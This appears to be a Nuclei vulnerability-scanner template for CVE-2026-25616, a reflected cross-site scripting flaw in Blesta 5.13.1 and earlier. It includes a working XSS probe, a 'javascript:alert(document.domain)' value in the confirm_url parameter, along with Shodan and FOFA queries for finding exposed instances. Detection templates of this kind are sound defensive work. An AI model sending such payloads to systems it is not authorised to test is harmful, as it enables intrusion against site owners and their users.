id: CVE-2026-25616

info:
  name: Blesta <= 5.13.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
   Blesta 3.x through 5.x before 5.13.3 contains an input validation vulnerability caused by mishandling input, letting attackers potentially exploit the system, exploit requires unspecified conditions.
  impact: |
   Attackers can exploit input validation flaws to cause unexpected behavior or security issues.
  remediation: |
   Upgrade to version 5.13.3 or later.
  reference:
    - https://karmainsecurity.com/KIS-2026-01
    - https://www.blesta.com/2026/01/28/security-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25616
  classification:
    cve-id: CVE-2026-25616
    epss-score: 0.0246
    epss-percentile: 0.85449
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.title:"Blesta"
    fofa-query: app="Blesta"
  tags: cve,cve2026,blesta,xss

http:
  - raw:
      - |
        GET /client_dialog/confirm/?confirm_url=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="javascript:alert(document.domain)"'
          - '<form method="post"'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022033e519f526cc9a723b58c9f2686c755adbb57b7fb99700ea4bf69d42e1a135bf022100ea22c0d52113233154ce49b752871f9ab7c45f990b43361750ff4e14159ae9b7:922c64590222798bb761d5b6d8e72950